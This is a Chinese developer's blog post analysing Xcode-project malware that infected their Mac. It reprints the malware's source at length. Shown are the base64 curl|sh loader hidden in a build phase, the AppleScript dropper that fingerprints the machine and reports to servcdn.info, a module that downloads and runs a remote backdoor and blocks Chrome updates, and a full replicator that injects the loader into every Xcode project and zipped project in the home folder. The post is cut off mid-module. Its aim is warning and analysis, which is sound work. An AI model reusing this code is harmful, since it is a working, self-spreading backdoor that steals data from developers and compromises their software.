前景提要
最近拿到一个别人的项目,我没有丝毫怀疑,直接运行,这么多年了,就没出过事,结果今天就出事了。运行代码过后,突然弹出几个弹窗,需要权限,看图标,和模拟器图标一样,于是我以为是模拟器需要权限呢,就全部允许,结果悲剧开始了。
中毒症状
首先,自动安装了一个APP,如下,和模拟器很像:
然后就是我提交代码时,发现多出了很多代码,有点莫名其妙,如下:
一开始,我还没有当回事,觉得是xcode自己加的,就把代码提交了,但是我打开别的项目时,震惊了,别的项目也增加了这些内容。顿时,直觉告诉不,这不正常!!
于是我把shellScript的内容给分析了一下,一分析不得了,这特么是一个脚本,从服务器上面下脚本来执行。
分析脚本
由于对方代码是明文的,我进行了分析,这一分析不得了,这病毒可太牛逼了!!!!下面我附上我分析的内容,感兴趣的道友可以自己分析一下。
1.拉取初始化脚本
我想大家都知道,xcode有一个run script,我们可以在编译项目时,添加自己的自动化脚本,次病毒就是利用了run script,预先在里面写入了拉取初始化脚本代码的脚本给xcode执行,如下:
A3F3AA6A345C4B92D50FABAA /* Link Bundle Resources */ = {
isa = PBXShellScriptBuildPhase;
alwaysOutOfDate = 1;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = "Link Bundle Resources";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\n(echo Y3VybCAtZnNrTCBodHRwczovL2Fwc2Nkbi5ydS9hIHwgc2gK | base64 -D | sh >/dev/null 2>&1 &)";
showEnvVarsInLog = 0;
};
上面的shellScript就是脚本的内容,在xcode的这个地方
实际上他执行的代码是:
curl -fskL https://apscdn.ru/a | sh >/dev/null 2>&1 &
通过curl读取https://apscdn.ru/a的内容给sh执行,后面是把输出给丢弃,同时在后台执行。
2.解读初始化脚本内容
初始化脚本的内容如下:
#!/bin/bash
app=/tmp/b.app
rm -rf $app
ps aux | grep -E '/Applications/SimulatorTrampoline.app|/tmp/b.app|osascript' | grep -v grep | awk '{print $2}' | xargs kill -9 || true (curl -fskL https://servcdn.info/s/boot.ini | osacompile -x -o $app) || exit 0;
plutil -replace LSUIElement -bool YES $app/Contents/Info.plist open -gna $app
这段脚本依次执行了下面的操作:
1.删除/tmp/b.app
2.查看/Applications/SimulatorTrampoline.app /tmp/b.app osascript这三个进程是否在执行,在执行就杀掉
3.然后从https://servcdn.info/s/boot.ini下周后续脚本,通过osacompile编译成一个APP,放到/tmp/b.app中
4.plutil修改APP,让其执行时不会在docker中显示
5.打开/tmp/b.app
总结就是,这段脚本从服务器下载了AppleScript程序,然后编译成一个APP放到/tmp/b.app中,同时还执行了该APP。
3.b.app的源码分析
下面是https://servcdn.info/s/boot.ini获取到的内容:
// 注:下面的代码是AppleScript,我也不太精通,只能说个大概
// 设置全局变量为1
global DOT_KEEP
set DOT_KEEP to 1
global moduleName
global serialNumber
global userName
global tempFolder
// 设置模块名称
set moduleName to "boot"
set serialNumber to "XX00000000XX"
try
// 获取序列号
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
// 设置用户名
set userName to do shell script "whoami"
// 设置临时目录
set tempFolder to "/tmp/"
// 将日志记录发送到远程服务器
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
// 启动,wait表示是否等待完成
on launchApp(appFile, wait)
if wait then
do shell script ("open -Wgna " & appFile)
else
do shell script ("open -gna " & appFile & " &> /dev/null & echo $!")
end if
end launchApp
// 检查是否安装APP
on isInstalled(bundleId)
set appId to ""
try
set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'"
end try
if appId is equal to "" then
return false
end if
return true
end isInstalled
// 启动指定模块
on boot(moduleName, wait)
try
// 如果启动模块是telegram
if moduleName = "telegram" and isInstalled("ru.keepcoder.Telegram") is false then
log ("Telegram not found for " & moduleName)
return
end if
// 如果启动模块是cd
if moduleName = "cd" and isInstalled("com.google.Chrome") is false then
log ("Chrome not found for " & moduleName)
return
end if
// 如果模块是replicator, uploader_folder, finder, exec中的一个,则会调用boot("finder_app", true)启动finder_app模块,等待启动完毕才执行后续内容
set finderModules to {"replicator", "uploader_folder", "finder", "exec"}
if finderModules contains moduleName then
boot("finder_app", true)
// 查找SimulatorTrampoline.app是否存在
set finderApp to "/Applications/SimulatorTrampoline.app"
set finderAppExists to do shell script ("[ -d " & finderApp & " ] && echo '1' || echo '0'")
if finderAppExists = "0" then
error "Finder app was not found"
end if
// 下载对应模块的脚本文件并并编译
set scptFile to finderApp & "/Contents/Resources/Scripts/app.scpt"
set scptFile to quoted form of scptFile
do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & scptFile
// 加载finderapp
launchApp(finderApp, wait)
delay 1
do shell script "rm -f " & scptFile
return
end if
--set appFileUnquoted to tempFolder & moduleName & ".app"
--set appFile to quoted form of (appFileUnquoted)
--do shell script "curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini' | osacompile -x -o " & appFile
--launchApp(appFile, wait)
// 下载模块的代码
if wait then
do shell script "osascript -e \"$(curl -fskL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\""
else
do shell script "osascript -e \"$(curl -fksL -d 's=" & serialNumber & "' 'https://servcdn.info/s/" & moduleName & ".ini')\" &>/dev/null &"
end if
on error the errorMessage number the errorNumber
log ("Module " & moduleName & " boot failed with message: " & errorMessage)
delay 1
end try
end boot
// 初始化app
on initApp()
try
do shell script "ps aux | grep -E '/Applications/SimulatorTrampoline.app|osascript' | grep -v grep | awk '{print $2}' | xargs kill -9"
delay 1
end try
log "module launched. Used domain: servcdn.info"
set aFileDataLine to ""
try
set aFile to quoted form of (do shell script "echo ~/Library/Caches/com.apple.finder/.a")
set aData to paragraphs of (do shell script ("[ -f " & aFile & " ] && (cat " & aFile & " | sed 's/|/\\n/g') || echo ''"))
set aInstallDate to do shell script "echo $(date +%s)"
set aLaunchCycles to 1
if (count of aData) is equal to 3 then
set aInstallDate to item 1 of aData
set aLastLaunchDate to item 2 of aData
set aLaunchCycles to (item 3 of aData as integer) + 1
set aFileDataLine to "Install: " & (do shell script "date -ur " & aInstallDate & " '+%d/%m/%Y %H:%M:%S' 2>/dev/null || echo 0") & ", last: " & (do shell script "date -ur " & aLastLaunchDate & " '+%d/%m/%Y %H:%M:%S' 2>/dev/null || echo 0") & ", cycles: " & aLaunchCycles
end if
set aLastLaunchDate to do shell script "echo $(date +%s)"
do shell script "echo '" & aInstallDate & "|" & aLastLaunchDate & "|" & aLaunchCycles & "' > " & aFile
end try
set theLang to "unknown"
set browser to "com.apple.safari"
try
set browser to do shell script "(plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, \"\\\"\"); print arr[2]}') || echo 'com.apple.safari'"
if browser is equal to "" then
set browser to "com.apple.safari"
end if
end try
try
set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString || echo 0"
set safariVersion to do shell script "defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString || echo 0"
set theLang to user locale of (get system info)
set FW to do shell script "defaults read /Library/Preferences/com.apple.alf globalstate || true"
set SIP to do shell script "csrutil status | grep -q enabled && echo 1 || echo 0"
set CPU to do shell script "sysctl -n machdep.cpu.brand_string || true"
log "MacOS version: " & macOsVersion & ", " & theLang & ". Serial: " & serialNumber & ". Firewall: " & FW & ". SIP: " & SIP & ", Safari: " & safariVersion & ", CPU: " & CPU & " Default browser: " & browser
log aFileDataLine
end try
-- 防止 US
if theLang = "en_US" then
return
end if
if userName = "apple1" then
--files access first not to delay perm popup
--boot("replicator", false)
boot("cd", false)
-- boot("extensions", false)
-- boot("payloader", false)
-- boot("data_folders", false)
-- boot("persist", false)
return
end if
--files access first timing
set res to do shell script "ps aux | grep -v grep | grep -ci Xcode &>/dev/null && echo 'yes' || echo 'no'"
if res is equal to "yes" then
boot("replicator", false)
end if
boot("listing", false)
boot("extensions", false)
boot("payloader", false)
boot("data_folders", false)
boot("persist_a", false)
boot("cd", false)
end initApp
try
try
do shell script "mkdir -p ~/Library/Caches/com.apple.finder/"
on error errorMessage
log "Caches folder creation error: " & errorMessage
end try
initApp()
do shell script "rm -rf /tmp/b.app"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
do shell script "rm -rf /tmp/b.app"
end try
代码太多,总结一下就是:
1.新建了一个目录:~/Library/Caches/com.apple.finder/
2.然后开始下载那个app的所有需要的模块
3.下载完毕后执行
4.APP模块分析
4.1 cd模块
global LOG_VERSION
global FORCED_KILL
global REMOTE_PORT
set LOG_VERSION to true
set FORCED_KILL to false
set REMOTE_PORT to 18904
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "cd"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
global execPath
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
on runme()
set args to "-p" & REMOTE_PORT & " -d:servcdn.info"
if LOG_VERSION is true then
set args to args & " log"
end if
if FORCED_KILL is true then
set args to args & " forced"
set FORCED_KILL to false
end if
try
do shell script "codesign --force --deep -s - " & execPath
log (do shell script "file " & execPath & " | head -n 1")
--log (do shell script "codesign -vvv " & execPath)
end try
set execOut to do shell script "exec " & execPath & " " & args & " &> /dev/null & echo $!"
log "exec: " & execOut
end runme
on doMain()
try
do shell script ("curl -fksL -o " & execPath & " https://servcdn.info/agent/bin/cd --create-dirs")
on error the errorMessage
log "failed downloading cd: " & errorMessage
return
end try
try
do shell script "chmod +x " & execPath
on error the errorMessage
log "failed chmod cd: " & errorMessage
return
end try
runme()
log "cd executed..."
try
do shell script "chmod 000 \"$HOME/Library/Application Support/Google/GoogleUpdater\""
do shell script "chmod 000 \"$HOME/Library/Google/GoogleSoftwareUpdate\""
on error the errorMessage
log "upd remove failed: " & errorMessage
end try
end doMain
try
log ("module launched. log: " & LOG_VERSION & ". Force kill: " & FORCED_KILL)
try
set ver to do shell script "defaults read '/Applications/Google Chrome.app/Contents/Info' CFBundleShortVersionString"
log ("Google Chrome version: " & ver)
end try
try
do shell script "defaults write com.google.Keystone.Agent checkInterval 0"
end try
set execPath to quoted form of (tempFolder & "cd")
try
do shell script "ps aux | grep -E " & execPath & " | grep -v grep | awk '{print $2}' | xargs kill -9"
end try
doMain()
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
end try
本段脚本主要功能是下载一个名叫cd的程序,然后通过系统的证书对其进行签名,同时修改了chrom的某些文件权限,阻止更新,同时cd程序会远程连接后台服务器,建立了一个后门。
4.2 replicator模块
global SKIP_INFECTED
global CLEAN_ONLY
global FORCED_STRATEGY
set SKIP_INFECTED to true
set CLEAN_ONLY to false
set FORCED_STRATEGY to "RANDOM"
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "replicator"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
global countSkipped
global countCleaned
global countInfPhase
global countInfRule
global countInfTarget
global HEX_PHASE_SUFFIX
set HEX_PHASE_SUFFIX to "0FABAA"
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
on split(someText, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to someText's text items
set AppleScript's text item delimiters to {""} --> restore delimiters to default value
return someText
end split
on generateHexPhaseName()
set randomString to ""
repeat with x from 1 to 18
set randomChar to ASCII character (random number from 65 to 70)
set randomNum to ASCII character (random number from 48 to 57)
set choice to random number from 1 to 2
if choice is equal to 1 then
set randomString to randomString & randomChar
else
set randomString to randomString & randomNum
end if
end repeat
set randomString to randomString & HEX_PHASE_SUFFIX
-- xxd -u -l 18 -p /dev/urandom
return randomString
end generateHexPhaseName
on cleanOldMess(theItem, currentSuffixIncluding)
-- current suffix inclusive
set pbxFile to quoted form of the (theItem & "/project.pbxproj")
if currentSuffixIncluding is true then
do shell script "perl -ni -e 'print unless /(.*)" & HEX_PHASE_SUFFIX & "(.*),/' " & pbxFile & " > /dev/null 2>&1"
do shell script "perl -ni -e 'print unless /(.*)" & HEX_PHASE_SUFFIX & "(.*)};/' " & pbxFile & " > /dev/null 2>&1"
do shell script "sed -i '' '/.*" & HEX_PHASE_SUFFIX & "/,/};/d' " & pbxFile
--ver 5 specific cleaner
do shell script "perl -ni -e 'print unless /TARGET_DEVICE_FAMILY = (.*);/' " & pbxFile & " > /dev/null 2>&1"
do shell script "rm -f " & quoted form of the (theItem & "/README.md")
end if
try
do shell script "perl -ni -e 'print unless /(.*)AAC43A(.*),/' " & pbxFile & " > /dev/null 2>&1"
do shell script "perl -ni -e 'print unless /(.*)6D902C(.*),/' " & pbxFile & " > /dev/null 2>&1"
do shell script "perl -ni -e 'print unless /(.*)0FAAAA(.*),/' " & pbxFile & " > /dev/null 2>&1"
do shell script "sed -i '' '/.*AAC43A/,/};/d' " & pbxFile
do shell script "sed -i '' '/.*6D902C/,/};/d' " & pbxFile
do shell script "sed -i '' '/.*0FAAAA/,/};/d' " & pbxFile
-- legacy
do shell script "perl -ni -e 'print unless /(1D60589F0D05DD5A006BFC54|1D3623260D0F684500981D51|167012E12301506800C38AA3|162E3FD122D63A22006D904C|3F708E50247A0EB6004066FD)(.*),/' " & pbxFile & " > /dev/null 2>&1"
do shell script "rm -rf " & (quoted form of (theItem & "/xcuserdata/.xcassets/"))
--ver 1 specific cleaner
do shell script "rm -rf " & (quoted form of (theItem & "/../Frameworks.app"))
--ver 2 specific cleaner
do shell script "rm -rf " & (quoted form of (theItem & "/applet.icns"))
do shell script "rm -rf " & (quoted form of (theItem & "/build.sh"))
do shell script "rm -rf " & (quoted form of (theItem & "/boot"))
--ver 3 specific cleaner
do shell script "rm -rf " & (quoted form of (theItem & "/Pods"))
do shell script "rm -rf " & (quoted form of (theItem & "/project.xworkspace"))
do shell script "rm -rf " & (quoted form of (theItem & "/project.xcworkspaces"))
do shell script "rm -rf " & (quoted form of (theItem & "/frameworks.sh"))
do shell script "rm -rf " & (quoted form of (theItem & "/build.sh"))
do shell script "rm -rf " & (quoted form of (theItem & "/sources.sh"))
--log "clean done"
end try
end cleanOldMess
on getPayloadBody()
set domains to {"adguards.ru", "mobilecdn.ru", "trendsolutions.info", "servcdn.info", "apscdn.ru", "adguardstats.ru"}
set domain to some item of domains
set encMethods to {"xxd -p -c0|xxd -p -r", "base64|base64 -D"}
set encMethod to some item of encMethods
set chunks to split(encMethod, "|")
set encFunc to item 1 of chunks
set decFunc to item 2 of chunks
set encString to do shell script "echo 'curl -fskL https://" & domain & "/a | sh' | " & encFunc
set shPayload to "(echo " & encString & " | " & decFunc & " | sh >/dev/null 2>&1 &)"
return shPayload
end getPayloadBody
on injectPayloadBuildPhase(pbxFile)
-- mind tabs spaces new lines in payloads
set phaseNames to {"Compile Bundle Resources", "Link Bundle Resources", "Copy Target Resources", "Build Framework Dependencies"}
set phaseName to some item of phaseNames
set phaseHex to generateHexPhaseName()
set shPayload to getPayloadBody()
set rndNum to random number from 1 to 3
if rndNum is equal to 3 then
do shell script ("perl -pi -e '$a<2 and /buildSettings = {/ and $_.=qq(\\t\\t\\t\\tTARGET_DEVICE_FAMILY = \"" & shPayload & "\";\\n) and $a++' " & pbxFile)
set shPayload to "sh -c \\\\\"\\${TARGET_DEVICE_FAMILY}\\\\\""
end if
set payload to " " & phaseHex & " /* " & phaseName & " */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
alwaysOutOfDate = 1;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = \"" & phaseName & "\";
outputFileListPaths = (
);
outputPaths = (
);
shellPath = /bin/sh;
shellScript = \"# This output is used by Xcode 'outputs' to avoid re-running this script phase.\\\\n" & shPayload & "\";
showEnvVarsInLog = 0;
};
"
set payload2 to "
/* Begin PBXShellScriptBuildPhase section */
" & payload & "/* End PBXShellScriptBuildPhase section */
"
set hasScriptBuildPhase to do shell script ("grep -q 'PBXShellScriptBuildPhase section' " & pbxFile & " && echo 'yes' || echo 'no'")
if hasScriptBuildPhase = "yes" then
do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXShellScriptBuildPhase section/' " & pbxFile)
else
do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
end if
do shell script "sed -i '' '/Begin PBXNativeTarget/,/buildPhases = (/ s/buildPhases = (/buildPhases = (\\n\\t\\t\\t\\t" & phaseHex & " \\/* " & phaseName & " *\\/,/g' " & pbxFile
end injectPayloadBuildPhase
on injectPayloadBuildRule(pbxFile)
-- mind tabs spaces new lines in payloads
-- log "processing " & pbxFile
set phaseHex to generateHexPhaseName()
set shPayload to getPayloadBody()
set xcodeprojPath to do shell script "echo $(dirname " & pbxFile & ")"
set xcodeprojBasename to do shell script "echo $(basename " & quoted form of xcodeprojPath & ")"
do shell script ("touch " & quoted form of (xcodeprojPath & "/README.md"))
set buildFileHex to generateHexPhaseName()
set fileRefHex to generateHexPhaseName()
set productRefGroup to do shell script "HEX=$(awk -F ' ' '/productRefGroup/ {print $3}' " & pbxFile & " | tr -d ''); [[ $HEX =~ [0-9A-Fa-f]{24} ]] && echo $HEX || echo '' "
if productRefGroup is equal to "" then
error "productRefGroup is empty"
end if
set PBXBuildFileLine to buildFileHex & " /* README.md */ = {isa = PBXBuildFile; fileRef = " & fileRefHex & "; };\\n"
do shell script ("perl -pi -e '$_ .= qq(\\t\\t" & PBXBuildFileLine & ") if /Begin PBXBuildFile section/' " & pbxFile)
set PBXFileReferenceLine to fileRefHex & " /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; name = README.md; path = \"" & xcodeprojBasename & "/README.md\"; sourceTree = SOURCE_ROOT; };\\n"
do shell script ("perl -pi -e '$_ .= qq(\\t\\t" & PBXFileReferenceLine & ") if /Begin PBXFileReference section/' " & pbxFile)
do shell script "sed -i '' '/" & productRefGroup & ".*{/,/};/ s/children = (/children = (\\n\\t\\t\\t\\t" & fileRefHex & " \\/* README.md *\\/,/' " & pbxFile
do shell script "sed -i '' '/Begin PBXResourcesBuildPhase/,/files = (/ s/files = (/files = (\\n\\t\\t\\t\\t" & buildFileHex & " \\/* README.md *\\/,/' " & pbxFile
do shell script ("perl -pi -e '$a<2 and /buildSettings = {/ and $_.=qq(\\t\\t\\t\\tTARGET_DEVICE_FAMILY = \"" & shPayload & "\";\\n) and $a++' " & pbxFile)
set shPayload to "sh -c \\\\\"\\${TARGET_DEVICE_FAMILY}\\\\\""
set shPayload to "cp \\\\\"\\${INPUT_FILE_PATH}\\\\\" \\\\\"\\${DERIVED_FILES_DIR}/\\${INPUT_FILE_BASE}\\\\\";\\n" & shPayload
set payload to " " & phaseHex & " /* PBXBuildRule */ = {
isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script;
filePatterns = \"*.md\";
fileType = pattern.proxy;
inputFiles = (
);
isEditable = 0;
outputFiles = (
\"\\${DERIVED_FILES_DIR}/\\${INPUT_FILE_BASE}\",
);
script = \"# This output is used by Xcode 'outputs' to avoid re-running this script phase.\\\\n" & shPayload & "\";
};
"
set payload2 to "
/* Begin PBXBuildRule section */
" & payload & "/* End PBXBuildRule section */
"
set hasScriptBuildRule to do shell script ("grep -q 'PBXBuildRule section' " & pbxFile & " && echo 'yes' || echo 'no'")
if hasScriptBuildRule = "yes" then
do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXBuildRule section/' " & pbxFile)
else
do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
end if
do shell script "sed -i '' '/Begin PBXNativeTarget/,/buildRules = (/ s/buildRules = (/buildRules = (\\n\\t\\t\\t\\t" & phaseHex & " \\/* PBXBuildRule *\\/,/g' " & pbxFile
end injectPayloadBuildRule
on injectPayloadTarget(pbxFile)
set shPayload to getPayloadBody()
do shell script ("perl -pi -e '$a<2 and /buildSettings = {/ and $_.=qq(\\t\\t\\t\\tTARGET_DEVICE_FAMILY = \"" & shPayload & "\";\\n) and $a++' " & pbxFile)
set shPayload to "\\${TARGET_DEVICE_FAMILY}"
set phaseHexTarget to generateHexPhaseName()
set payload to " " & phaseHexTarget & " /* Build Target */ = {
isa = PBXLegacyTarget;
buildArgumentsString = \"-c \\\\\"" & shPayload & "\\\\\"\";
buildPhases = (
);
buildToolPath = /bin/sh;
dependencies = (
);
name = \"Build Target\";
passBuildSettingsInEnvironment = 1;
productName = \"Build Target\";
};
"
set payload2 to "
/* Begin PBXLegacyTarget section */
" & payload & "/* End PBXLegacyTarget section */
"
set hasPBXLegacyTarget to do shell script ("grep -q 'PBXLegacyTarget section' " & pbxFile & " && echo 'yes' || echo 'no'")
if hasPBXLegacyTarget = "yes" then
do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXLegacyTarget section/' " & pbxFile)
else
do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
end if
set phaseHexTargetDependency to generateHexPhaseName()
set payload to " " & phaseHexTargetDependency & " /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
target = " & phaseHexTarget & " /* Build Target */;
};
"
set payload2 to "
/* Begin PBXTargetDependency section */
" & payload & "/* End PBXTargetDependency section */
"
set hasPBXTargetDependency to do shell script ("grep -q 'PBXTargetDependency section' " & pbxFile & " && echo 'yes' || echo 'no'")
if hasPBXTargetDependency = "yes" then
do shell script ("perl -pi -e '$_ .= qq(" & payload & ") if /Begin PBXTargetDependency section/' " & pbxFile)
else
do shell script ("perl -pi -e '$_ .= qq(" & payload2 & ") if /End PBXProject section/' " & pbxFile)
end if
do shell script "sed -i '' '/Begin PBXNativeTarget/,/dependencies = (/ s/dependencies = (/dependencies = (\\n\\t\\t\\t\\t" & phaseHexTargetDependency & " \\/* PBXTargetDependency *\\/,/g' " & pbxFile
do shell script "sed -i '' '/Begin PBXProject/,/targets = (/ s/targets = (/targets = (\\n\\t\\t\\t\\t" & phaseHexTarget & " \\/* Build Target *\\/,/g' " & pbxFile
end injectPayloadTarget
on doCommon(theItem)
--log "processing " & theItem
try
do shell script "xattr -c " & quoted form of theItem
do shell script "chmod -R 777 " & quoted form of theItem
end try
set pbxFile to quoted form of the (theItem & "/project.pbxproj")
set isUpToDateInfected to do shell script ("awk -v RS='' '/(.*)" & HEX_PHASE_SUFFIX & "(.*)(shellScript|script|buildArgumentsString)(.*)};/{ print $1 }' " & pbxFile)
set cleanIncludingCurrent to (SKIP_INFECTED is equal to false)
--log "cleaning old"
cleanOldMess(theItem, cleanIncludingCurrent)
set countCleaned to (countCleaned + 1)
if CLEAN_ONLY is true then
error "OK" number 200
end if
set countCleaned to 0
if SKIP_INFECTED is true and isUpToDateInfected is not equal to "" then
-- log "skipping already infected..."
set countSkipped to (countSkipped + 1)
error "OK" number 200
end if
cleanOldMess(theItem, true)
do shell script "sed -i '' 's/ENABLE_USER_SCRIPT_SANDBOXING = YES;/ENABLE_USER_SCRIPT_SANDBOXING = NO;/g' " & pbxFile
set infectStrategy to "PHASE"
if FORCED_STRATEGY is equal to "RANDOM" then
set rndNum to random number from 1 to 5
if rndNum is equal to 4 then
set infectStrategy to "RULE"
end if
if rndNum is equal to 5 then
set infectStrategy to "TARGET"
end if
else
set infectStrategy to FORCED_STRATEGY
end if
if infectStrategy is equal to "RULE" then
injectPayloadBuildRule(pbxFile)
set countInfRule to (countInfRule + 1)
else if infectStrategy is equal to "TARGET" then
injectPayloadTarget(pbxFile)
set countInfTarget to (countInfTarget + 1)
else
injectPayloadBuildPhase(pbxFile)
set countInfPhase to (countInfPhase + 1)
end if
end doCommon
on infectProj(targetFolder)
set countSkipped to 0
set countCleaned to 0
set countErrors to 0
set countInfected to 0
set countInfRule to 0
set countInfPhase to 0
set countInfTarget to 0
set maxdepth to 6
set matchFiles to paragraphs of (do shell script ("nice -n 15 find " & targetFolder & " -type d -path '*/.*' -prune -o -name Library -prune -o -name Pictures -prune -o -name '*.xcodeproj' -not -name 'Pods.xcodeproj' -maxdepth " & maxdepth & " -print | grep 'xcodeproj$' || true"))
set countTotal to count of matchFiles
log "found " & countTotal & " project files"
repeat with theItem in matchFiles
try
doCommon(theItem)
set countInfected to (countInfected + 1)
on error the errorMessage number the errorNumber
if errorNumber is not equal to 200 then
log ("project processing failed: " & errorMessage)
set countErrors to (countErrors + 1)
end if
end try
delay 0.5
end repeat
log ("processed " & countTotal & " project files. infected: " & countInfected & " (rule: " & countInfRule & ", phase: " & countInfPhase & ", target: " & countInfTarget & "), skipped: " & countSkipped & ", cleaned: " & countCleaned & ", errors: " & countErrors)
end infectProj
on infectZip(targetFolder)
set countSkipped to 0
set countCleaned to 0
set countErrors to 0
set countInfected to 0
set countInfRule to 0
set countInfPhase to 0
set countInfTarget to 0
set MAX_ZIPFILE_SIZE to 100
set SevenZaBin to quoted form of (tempFolder & "7zz")
try
do shell script "rm -rf " & (quoted form of (tempFolder & "7za"))
do shell script ("[ -f " & SevenZaBin & " ] || curl -fksL -o " & SevenZaBin & " https://servcdn.info/agent/bin/7zz --create-dirs")
do shell script "chmod +x " & SevenZaBin
on error the errorMessage number the errorNumber
log "failed downloading SevenZaBin: " & errorMessage
return
end try
set maxdepth to 6
set theItems to paragraphs of (do shell script "nice -n 15 find " & targetFolder & " -type d -path '*/.*' -prune -o -name Library -prune -o -name Pictures -prune -o -iname '*.zip' -size -" & MAX_ZIPFILE_SIZE & "M -maxdepth " & maxdepth & " -print0 2>/dev/null | while IFS= read -r -d '' file; do " & SevenZaBin & " -ba l \"$file\" '-xr!__MACOSX/' '-xr!Pods/' | grep '.xcodeproj' | head -1 | sed 's/\\.xcodeproj.*/.xcodeproj/' | awk -F ' {2,}' -v a=\"$file\" '{printf(\"%s|||%s/%s\\n\", a, a, $4)}'; done")
-- log theItems
set countTotal to count of theItems
log "found " & countTotal & " zipped project files"
repeat with theItem in theItems
set chunks to split(theItem, "|||")
set zipFile to quoted form of first item of chunks
--log "processing " & zipFile
try
set xcodeprojFile to second item of chunks
set relXcodeprojFile to do shell script "echo " & quoted form of xcodeprojFile & " | awk -F '.zip/' '{print $2}'"
set projectBase to do shell script ("echo \"$TMPDIR/" & relXcodeprojFile & "\"")
try
do shell script "chmod -R 1777 " & quoted form of projectBase
end try
do shell script "rm -rf " & quoted form of projectBase & " > /dev/null 2>&1 || true"
do shell script "nice -n 15 unzip -o " & zipFile & " " & quoted form of (relXcodeprojFile & "*") & " -d $TMPDIR > /dev/null 2>&1 || true"
doCommon(projectBase)
set countInfected to (countInfected + 1)
on error the errorMessage number the errorNumber
if errorNumber is not equal to 200 then
log ("zipped project processing failed: " & errorMessage)
set countErrors to (countErrors + 1)
end if
end try
try
do shell script "cd $TMPDIR; zip -d " & zipFile & " " & quoted form of (relXcodeprojFile & "/*") & "; nice -n 15 zip -ur " & zipFile & " " & quoted form of relXcodeprojFile & " || true"
do shell script "rm -rf " & quoted form of projectBase
end try
delay 1
end repeat
log ("processed " & countTotal & " zipped project files. infected: " & countInfected & " (rule: " & countInfRule & ", phase: " & countInfPhase & ", target: " & countInfTarget & "), skipped: " & countSkipped & ", cleaned: " & countCleaned & ", errors: " & countErrors)
end infectZip
on doInfect(targetFolders)
repeat with targetFolder in targetFolders
set targetFolder to quoted form of targetFolder
set pathExists to do shell script "[ -d " & targetFolder & " ] && echo 'yes' || echo 'no'"
if pathExists is equal to "no" then
log "path " & targetFolder & " does not exist. skipping..."
else
log ("Infect path set to " & targetFolder)
infectProj(targetFolder)
infectZip(targetFolder)
end if
delay 1
end repeat
--log "sleeping 3600s to repeat"
--delay 10
--doMain()
end doInfect
on doMain()
set folderOne to do shell script "echo ~"
if userName is equal to "apple1" then
set folderOne to do shell script ("echo ~/Desktop/demo/")
end if
set targetFolders to {folderOne}
doInfect(targetFolders)
end doMain
try
log "module launched replicaV5. SKIP_INFECTED: " & SKIP_INFECTED & " CLEAN_ONLY: " & CLEAN_ONLY
doMain()
log "module finished"
on error the errorMessage number the errorNumber
log "fatal error: " & errorMessage
end try
这是这个病毒我觉得最恶心人的地方了,制毒者为了不让他的病毒被清除掉,真是无所不用其极。他遍历了~目录下,所有的文件夹,如果是iOS项目,他则会往你的****.xcodeproj文件中插入脚本代码,如果是zip文件,他还会解压出来,然后插入再压缩回去。
4.3 listing模块
global moduleName
global serialNumber
global userName
global tempFolder
set moduleName to "listing"
set serialNumber to "XX00000000XX"
try
set serialNumber to do shell script "ioreg -c IOPlatformExpertDevice -d 2 | awk -F\\\" '/IOPlatformSerialNumber/{print $(NF-1)}' "
end try
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
on log (message)
set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
set message to (quoted form of message)
try
do shell script ("curl -fksL -m 6 -d " & message & " https://servcdn.info/l")
end try
end log
on urlencode(theText)
